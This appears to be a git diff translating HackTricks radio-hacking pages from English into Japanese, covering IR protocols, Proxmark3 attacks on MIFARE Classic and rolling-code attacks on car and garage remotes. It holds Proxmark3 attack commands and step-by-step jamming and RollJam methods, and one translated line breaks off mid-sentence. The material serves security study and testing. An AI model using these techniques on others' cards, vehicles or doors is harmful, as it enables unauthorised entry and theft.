Protocols +### 複数の赤外線プロトコル -IR protocols differ in 3 factors: +赤外線プロトコルは以下の3つの要素で異なります: -* bit encoding -* data structure -* carrier frequency — often in range 36..38 kHz +* ビットエンコーディング +* データ構造 +* キャリア周波数 - 通常は36から38 kHzの範囲 -#### Bit encoding ways +#### ビットエンコーディング方法 -**1. Pulse Distance Encoding** +**1. パルス間隔エンコーディング** -Bits are encoded by modulating the duration of the space between pulses. The width of the pulse itself is constant. +ビットはパルス間の期間の変調によってエンコードされます。パルス自体の幅は一定です。
-**2. Pulse Width Encoding** +**2. パルス幅エンコーディング** -Bits are encoded by modulation of the pulse width. The width of space after pulse burst is constant. +ビットはパルス幅の変調によってエンコードされます。パルスバーストの後のスペースの幅は一定です。
-**3. Phase Encoding** +**3. フェーズエンコーディング** -It is also known as Manchester encoding. The logical value is defined by the polarity of the transition between pulse burst and space. "Space to pulse burst" denotes logic "0", "pulse burst to space" denotes logic "1". +これはマンチェスターエンコーディングとも呼ばれます。論理値はパルスバーストとスペースの間の極性によって定義されます。 "スペースからパルスバースト"は論理 "0" を示し、"パルスバーストからスペース"は論理 "1" を示します。
-**4. Combination of previous ones and other exotics** +**4. 以前の方法とその他のエキゾチックな方法の組み合わせ** {% hint style="info" %} -There are IR protocols that are **trying to become universal** for several types of devices. The most famous ones are RC5 and NEC. Unfortunately, the most famous **does not mean the most common**. In my environment, I met just two NEC remotes and no RC5 ones. +いくつかのデバイスの種類に対して**普遍的になろうとしている**赤外線プロトコルがあります。最も有名なものはRC5とNECです。残念ながら、最も有名なものが最も一般的というわけではありません。私の環境では、NECリモコンは2つしか見かけず、RC5リモコンはありませんでした。 -Manufacturers love to use their own unique IR protocols, even within the same range of devices (for example, TV-boxes). Therefore, remotes from different companies and sometimes from different models from the same company, are unable to work with other devices of the same type. +メーカーは、同じ種類のデバイス(たとえば、TVボックス)でも独自の赤外線プロトコルを使用することが好きです。したがって、異なる会社のリモコンや、同じ会社の異なるモデルからのリモコンは、同じタイプの他のデバイスとは連携できません。 {% endhint %} -### Exploring an IR signal +### 赤外線信号の探索 -The most reliable way to see how the remote IR signal looks like is to use an oscilloscope. It does not demodulate or invert the received signal, it is just displayed "as is". This is useful for testing and debugging. I will show the expected signal on the example of the NEC IR protocol. +リモコンの赤外線信号の見た目を確認する最も信頼性の高い方法は、オシロスコープを使用することです。これは受信信号を復調したり反転したりしないで、受信信号をそのまま表示するだけです。これはテストやデバッグに役立ちます。NECの赤外線プロトコルの例を使って、期待される信号を示します。
-Usually, there is a preamble at the beginning of an encoded packet. This allows the receiver to determine the level of gain and background. There are also protocols without preamble, for example, Sharp. +通常、エンコードされたパケットの先頭には前置詞があります。これにより、受信機は利得と背景のレベルを判断することができます。また、Sharpなどの前置詞のないプロトコルもあります。 -Then data is transmitted. The structure, preamble, and bit encoding method are determined by the specific protocol. +次にデータが送信されます。構造、前置詞、ビットエンコーディング方法は、特定のプロトコルによって決まります。 -**NEC IR protocol** contains a short command and a repeat code, which is sent while the button is pressed. Both the command and the repeat code have the same preamble at the beginning. +**NEC赤外線プロトコル**には、ボタンが押されている間送信される短いコマンドと繰り返しコードが含まれています。コマンドと繰り返しコードは、同じ前置詞を持っています。 -NEC **command**, in addition to the preamble, consists of an address byte and a command-number byte, by which the device understands what needs to be performed. Address and command-number bytes are duplicated with inverse values, to check the integrity of the transmission. There is an additional stop bit at the end of the command. +NECの**コマンド**は、前置詞に加えて、デバイスが実行する必要がある内容を理解するためのアドレスバイトとコマンド番号バイトで構成されています。アドレスバイトとコマンド番号バイトは、逆の値で複製され、送信の整合性をチェックします。コマンドの最後には追加のストップビットがあります。 -The **repeat code** has a "1" after the preamble, which is a stop bit. +**繰り返しコード**には、前置詞の後に「1」があり、これがストップビットです。 -For **logic "0" and "1"** NEC uses Pulse Distance Encoding: first, a pulse burst is transmitted after which there is a pause, its length sets the value of the bit. +**論理 "0" と "1"** のためにNECはパルス間隔エンコーディングを使用します:まず、パルスバーストが送信され、その後に一時停止があり、その長さがビットの値を設定します。 +### エアコン -### Air Conditioners +他のリモコンとは異なり、**エアコンは押されたボタンのコードだけを送信するのではありません**。ボタンが押されたときには、**エアコンとリモコンが同期していることを保証するために、すべての情報を送信**します。\ +これにより、あるリモコンで20℃に設定された機械が、21℃に増加し、その後、まだ温度が20℃のままの別のリモコンを使用してさらに温度を上げると、それは21℃に「増加」します(21℃ではなく22℃と思ってしまうことを防ぎます)。 -Unlike other remotes, **air conditioners do not transmit just the code of the pressed button**. They also **transmit all the information** when a button is pressed to assure that the **air conditioned machine and the remote are synchronised**.\ -This will avoid that a machine set as 20ºC is increased to 21ºC with one remote, and then when another remote, which still has the temperature as 20ºC, is used to increase more the temperature, it will "increase" it to 21ºC (and not to 22ºC thinking it's in 21ºC). +### 攻撃 -### Attacks - -You can attack Infrared with Flipper Zero: +Flipper Zeroを使用して赤外線を攻撃することができます: {% content-ref url="flipper-zero/fz-infrared.md" %} [fz-infrared.md](flipper-zero/fz-infrared.md) {% endcontent-ref %} -## References +## 参考文献 * [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/) @@ -93,10 +92,10 @@ You can attack Infrared with Flipper Zero: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。 diff --git a/todo/radio-hacking/proxmark-3.md b/todo/radio-hacking/proxmark-3.md index 7c3b297af..ae5657002 100644 --- a/todo/radio-hacking/proxmark-3.md +++ b/todo/radio-hacking/proxmark-3.md @@ -4,26 +4,25 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Attacking RFID Systems with Proxmark3 +## Proxmark3を使用したRFIDシステムの攻撃 -The first thing you need to do is to have a [**Proxmark3**](https://proxmark.com) and [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux). +最初に必要なのは、[**Proxmark3**](https://proxmark.com)を入手し、[**ソフトウェアとその依存関係をインストール**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**することです**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。 -### Attacking MIFARE Classic 1KB +### MIFARE Classic 1KBの攻撃 -It has **16 sectors**, each of them has **4 blocks** and each block contains **16B**. The UID is in sector 0 block 0 (and can't be altered).\ -To access each sector you need **2 keys** (**A** and **B**) which are stored in **block 3 of each sector** (sector trailer). The sector trailer also stores the **access bits** that give the **read and write** permissions on **each block** using the 2 keys.\ -2 keys are useful to give permissions to read if you know the first one and write if you know the second one (for example). - -Several attacks can be performed +MIFARE Classic 1KBには**16のセクター**があり、それぞれには**4つのブロック**があり、各ブロックには**16B**が含まれています。UIDはセクター0ブロック0にあり(変更できません)。 +各セクターにアクセスするには、**2つのキー**(**A**と**B**)が必要で、それらは各セクターの**ブロック3に保存**されます(セクタートレーラー)。セクタートレーラーには、2つのキーを使用して各ブロックの**読み取りと書き込み**の権限を与える**アクセスビット**も保存されます。 +たとえば、最初のキーを知っている場合は読み取りの権限を与え、2番目のキーを知っている場合は書き込みの権限を与えるため、2つのキーは便利です。 +さまざまな攻撃が実行できます。 ```bash proxmark3> hf mf #List attacks @@ -42,43 +41,38 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to proxmark3> hf mf eget 01 # Read block 1 proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card ``` +Proxmark3を使用すると、**タグとリーダーの通信を傍受**して、機密データを見つけることができます。このカードでは、**暗号操作が弱い**ため、通信を傍受して使用されるキーを計算することができます(`mfkey64`ツールを使用)。 -The Proxmark3 allows to perform other actions like **eavesdropping** a **Tag to Reader communication** to try to find sensitive data. In this card you could just sniff the communication with and calculate the used key because the **cryptographic operations used are weak** and knowing the plain and cipher text you can calculate it (`mfkey64` tool). - -### Raw Commands - -IoT systems sometimes use **nonbranded or noncommercial tags**. In this case, you can use Proxmark3 to send custom **raw commands to the tags**. +### 生のコマンド +IoTシステムでは、**非商標または非商用のタグ**が使用されることがあります。この場合、Proxmark3を使用してカスタムの**生のコマンドをタグに送信**することができます。 ```bash proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04 SAK : 08 [2] TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 - proprietary non iso14443-4 card found, RATS not supported - No chinese magic backdoor command detected - Prng detection: WEAK - Valid ISO14443A Tag Found - Quiting Search +proprietary non iso14443-4 card found, RATS not supported +No chinese magic backdoor command detected +Prng detection: WEAK +Valid ISO14443A Tag Found - Quiting Search ``` +この情報を使って、カードに関する情報や通信方法について調べることができます。Proxmark3では、次のような生のコマンドを送信することができます:`hf 14a raw -p -b 7 26` -With this information you could try to search information about the card and about the way to communicate with it. Proxmark3 allows to send raw commands like: `hf 14a raw -p -b 7 26` - -### Scripts - -The Proxmark3 software comes with a preloaded list of **automation scripts** that you can use to perform simple tasks. To retrieve the full list, use the `script list` command. Next, use the `script run` command, followed by the script’s name: +### スクリプト +Proxmark3ソフトウェアには、簡単なタスクを実行するために使用できる**自動化スクリプト**の事前にロードされたリストが付属しています。完全なリストを取得するには、`script list`コマンドを使用します。次に、スクリプトの名前に続いて`script run`コマンドを使用します: ``` proxmark3> script run mfkeys ``` - -You can create a script to **fuzz tag readers**, so copying the data of a **valid card** just write a **Lua script** that **randomize** one or more random **bytes** and check if the **reader crashes** with any iteration. +タグリーダーを**ファズ**するためのスクリプトを作成することができます。有効なカードのデータをコピーして、**Luaスクリプト**を作成し、1つまたは複数の**ランダムなバイト**を**ランダム化**し、リーダーがどのイテレーションでも**クラッシュするか**をチェックします。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/todo/radio-hacking/sub-ghz-rf.md b/todo/radio-hacking/sub-ghz-rf.md index 15cdf81e8..f327b6e9b 100644 --- a/todo/radio-hacking/sub-ghz-rf.md +++ b/todo/radio-hacking/sub-ghz-rf.md @@ -4,93 +4,91 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Garage Doors +## ガレージのドア -Garage door openers typically operate at frequencies in the 300-190 MHz range, with the most common frequencies being 300 MHz, 310 MHz, 315 MHz, and 390 MHz. This frequency range is commonly used for garage door openers because it is less crowded than other frequency bands and is less likely to experience interference from other devices. +ガレージドアオープナーは通常、300〜190 MHzの周波数で動作し、最も一般的な周波数は300 MHz、310 MHz、315 MHz、および390 MHzです。この周波数帯は、他の周波数帯よりも混雑しておらず、他のデバイスからの干渉を受けにくいため、ガレージドアオープナーによく使用されます。 -## Car Doors +## 車のドア -Most car key fobs operate on either **315 MHz or 433 MHz**. These are both radio frequencies, and they are used in a variety of different applications. The main difference between the two frequencies is that 433 MHz has a longer range than 315 MHz. This means that 433 MHz is better for applications that require a longer range, such as remote keyless entry.\ -In Europe 433.92MHz is commonly used and in U.S. and Japan it's the 315MHz. +ほとんどの車のキーフォブは、**315 MHzまたは433 MHz**で動作します。これらはいずれも無線周波数であり、さまざまなアプリケーションで使用されています。2つの周波数の主な違いは、433 MHzの方が315 MHzよりも長い範囲を持っていることです。これは、リモートキーレスエントリーなどの長い範囲を必要とするアプリケーションには433 MHzが適していることを意味します。\ +ヨーロッパでは433.92MHzが一般的に使用され、米国と日本では315MHzです。 -## **Brute-force Attack** +## **ブルートフォース攻撃**
-If instead of sending each code 5 times (sent like this to make sure the receiver gets it) so just send it once, the time is reduced to 6mins: +各コードを5回送信する代わりに(受信機が受信することを確認するためにこのように送信される)、1回だけ送信すると、時間が6分に短縮されます。
-and if you **remove the 2 ms waiting** period between signals you can **reduce the time to 3minutes.** +また、信号間の2ミリ秒の待ち時間を**削除**すると、時間を3分に短縮できます。 -Moreover, by using the De Bruijn Sequence (a way to reduce the number of bits needed to send all the potential binary numbers to burteforce) this **time is reduced just to 8 seconds**: +さらに、De Bruijn Sequence(すべての潜在的なバイナリ数を送信するために必要なビット数を減らす方法)を使用すると、この時間はわずか8秒に短縮されます。
-Example of this attack was implemented in [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame) +この攻撃の例は、[https://github.com/samyk/opensesame](https://github.com/samyk/opensesame)で実装されています。 -Requiring **a preamble will avoid the De Bruijn Sequence** optimization and **rolling codes will prevent this attack** (supposing the code is long enough to not be bruteforceable). +**プリアンブルを要求することで**、De Bruijn Sequenceの最適化を回避し、**ローリングコードはこの攻撃を防ぎます**(コードが十分に長く、ブルートフォース攻撃できない場合を想定しています)。 -## Sub-GHz Attack +## Sub-GHz攻撃 -To attack these signals with Flipper Zero check: +Flipper Zeroを使用してこれらの信号を攻撃するには、次を確認してください: {% content-ref url="flipper-zero/fz-sub-ghz.md" %} [fz-sub-ghz.md](flipper-zero/fz-sub-ghz.md) {% endcontent-ref %} -## Rolling Codes Protection +## ローリングコードの保護 -Automatic garage door openers typically use a wireless remote control to open and close the garage door. The remote control **sends a radio frequency (RF) signal** to the garage door opener, which activates the motor to open or close the door. +自動ガレージドアオープナーは通常、ワイヤレスリモコンを使用してガレージドアを開閉します。リモコンはガレージドアオープナーに**無線周波数(RF)信号**を送信し、モーターを作動させてドアを開閉します。 -It is possible for someone to use a device known as a code grabber to intercept the RF signal and record it for later use. This is known as a **replay attack**. To prevent this type of attack, many modern garage door openers use a more secure encryption method known as a **rolling code** system. +コードグラバーと呼ばれるデバイスを使用してRF信号を傍受し、後で使用するために記録することができます。これは**リプレイ攻撃**として知られています。このタイプの攻撃を防ぐために、多くの現代のガレージドアオープナーは、より安全な暗号化方式である**ローリングコード**システムを使用しています。 -The **RF signal is typically transmitted using a rolling code**, which means that the code changes with each use. This makes it **difficult** for someone to **intercept** the signal and **use** it to gain **unauthorised** access to the garage. +**RF信号は通常、ローリングコードを使用して送信**されるため、コードは使用ごとに変更されます。これにより、コードを傍受してガレージへの**不正アクセス**を試みることが困難になります。 -In a rolling code system, the remote control and the garage door opener have a **shared algorithm** that **generates a new code** every time the remote is used. The garage door opener will only respond to the **correct code**, making it much more difficult for someone to gain unauthorised access to the garage just by capturing a code. +ローリングコードシステムでは、リモコンとガレージドアオープナーには、リモコンが使用されるたびに新しいコードを生成する**共有アルゴリズム**があります。ガレージドアオープナーは**正しいコード**にのみ応答し、コードを傍受してガレージへの不正アクセスを試みることをはるかに困難にします。 -### **Missing Link Attack** +### **Missing Link攻撃** -Basically, you listen for the button and **capture the signal whilst the remote is out of range** of the device (say the car or garage). You then move to the device and **use the captured code to open it**. +基本的には、リモートがデバイス(車やガレージなど)の**範囲外**にある間にボタンを聞き、**キャプチャしたコードを使用してデバイスを開く**ことです。 -### Full Link Jamming Attack +### フルリンクジャミング攻撃 -An attacker could **jam the signal near the vehicle or receive**r so the **receiver cannot actually ‘hear’ the code**, and once that is happening you can simply **capture and replay** the code when you have stopped jamming. +攻撃者は、車両または受信機の**近くで信号を妨害**することができます。そのため、受信機は実際にはコードを「聞く」ことができず、ジャミングを停止した後にコードを**キャプチャして再生**することができます。 -The victim at some point will use the **keys to lock the car**, but then the attack will have **recorded enough "close door" codes** that hopefully could be resent to open the door (a **change of frequency might be needed** as there are cars that use the same codes to open and close but listens for both commands in different frequencies). +被害者はある時点で**車をロックするためにキーを使用**しますが、その後、攻撃は十分な「ドアを閉める」コードを記録していることを願って、ドアを開くために再送信できるでしょう(異なる周波数で両方のコマンドを受信する車もあるため、周波数の変更が必要になる場合があります)。 {% hint style="warning" %} -**Jamming works**, but it's noticeable as if the **person locking the car simply tests the doors** to ensure they are locked they would notice the car unlocked. Additionally if they were aware of such attacks they could even listen to the fact that the doors never made the lock **sound** or the cars **lights** never flashed when they pressed the ‘lock’ button. -{% endhint %} +**ジャミングは機能します**が、車をロックする人が単にドアがロックされていることを確認するためにドアをテストすると、ロックされていないことに気付くでしょう。さらに、このような攻撃について知っている場合、車を「ロック」ボタンを押したときにロックの**音**が鳴らなかったり、車の**ライト**が点滅 +### **コードグラビング攻撃(別名「RollJam」)** -### **Code Grabbing Attack ( aka ‘RollJam’ )** +これはより**ステルスなジャミング技術**です。攻撃者は信号をジャミングし、被害者がドアをロックしようとしてもうまくいかないようにしますが、攻撃者は**このコードを記録**します。その後、被害者はボタンを押して再び車をロックしようとしますが、車は**この2回目のコードを記録**します。\ +これにより、**攻撃者は最初のコードを送信**し、車はロックされます(被害者は2回目の押しでロックされたと思うでしょう)。その後、攻撃者は盗まれた2番目のコードを送信して車を開けることができます(「車を閉める」コードも開けるため、前提としています)。周波数の変更が必要な場合もあります(開くと閉じるに同じコードを使用する車があり、両方のコマンドを異なる周波数で受信する)。 -This is a more **stealth Jamming technique**. The attacker will jam the signal, so when the victim tries to lock the door it won't work, but the attacker will **record this code**. Then, the victim will **try to lock the car again** pressing the button and the car will **record this second code**.\ -Instantly after this the **attacker can send the first code** and the **car will lock** (victim will think the second press closed it). Then, the attacker will be able to **send the second stolen code to open** the car (supposing that a **"close car" code can also be used to open it**). A change of frequency might be needed (as there are cars that use the same codes to open and close but listens for both commands in different frequencies). - -The attacker can **jam the car receiver and not his receiver** because if the car receiver is listening in for example a 1MHz broadband, the attacker won't **jam** the exact frequency used by the remote but **a close one in that spectrum** while the **attackers receiver will be listening in a smaller range** where he can listen the remote signal **without the jam signal**. +攻撃者は**自分の受信機ではなく車の受信機をジャム**することができます。たとえば、車の受信機が1MHzの広帯域で受信している場合、攻撃者はリモートが使用している正確な周波数を**ジャム**するのではなく、そのスペクトラム内の**近い周波数**をジャムします。一方、**攻撃者の受信機はより狭い範囲で受信**し、ジャム信号なしでリモート信号を受信できます。 {% hint style="warning" %} -Other implementations seen in specifications show that the **rolling code is a portion** of the total code sent. Ie the code sent is a **24 bit key** where the first **12 are the rolling code**, the **second 8 are the command** (such as lock or unlock) and the last 4 is the **checksum**. Vehicles implementing this type are also naturally susceptible as the attacker merely needs to replace the rolling code segment to be able to **use any rolling code on both frequencies**. +仕様で見られる他の実装では、**ローリングコードは送信されるコードの一部**です。つまり、送信されるコードは**24ビットのキー**であり、最初の**12ビットがローリングコード**、次の8ビットが**コマンド**(ロックまたはアンロックなど)、最後の4ビットが**チェックサム**です。このタイプを実装している車は、攻撃者が単にローリングコードセグメントを置き換えるだけで、**両方の周波数で任意のローリングコードを使用**できるようになります。 {% endhint %} {% hint style="danger" %} -Note that if the victim sends a third code while the attacker is sending the first one, the first and second code will be invalidated. +被害者が攻撃者が最初のコードを送信している間に3番目のコードを送信した場合、最初のコードと2番目のコードは無効になります。 {% endhint %} -### Alarm Sounding Jamming Attack +### アラーム音ジャミング攻撃 -Testing against an aftermarket rolling code system installed on a car, **sending the same code twice** immediately **activated the alarm** and immobiliser providing a unique **denial of service** opportunity. Ironically the means of **disabling the alarm** and immobiliser was to **press** the **remote**, providing an attacker with the ability to **continually perform DoS attack**. Or mix this attack with the **previous one to obtain more codes** as the victim would like to stop the attack asap. +車に取り付けられたアフターマーケットのローリングコードシステムに対するテストでは、**同じコードを2回送信**すると、アラームとイモビライザーが**即座に作動**し、ユニークな**サービス拒否**の機会が提供されました。皮肉なことに、アラームとイモビライザーを**無効にする手段**は、**リモートを押す**ことでした。これにより、攻撃者は**継続的にDoS攻撃を実行**する能力を持ちます。または、被害者が攻撃をできるだけ早く停止したいと思うため、この攻撃を**前の攻撃と組み合わせてさらに多くのコードを取得**することもできます。 -## References +## 参考文献 * [https://www.americanradioarchives.com/what-radio-frequency-does-car-key-fobs-run-on/](https://www.americanradioarchives.com/what-radio-frequency-does-car-key-fobs-run-on/) * [https://www.andrewmohawk.com/2016/02/05/bypassing-rolling-code-systems/](https://www.andrewmohawk.com/2016/02/05/bypassing-rolling-code-systems/) @@ -101,10 +99,10 @@ Testing against an aftermarket rolling code system installed on a car, **sending ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **をチェックしてください!** +* [**The PEASS 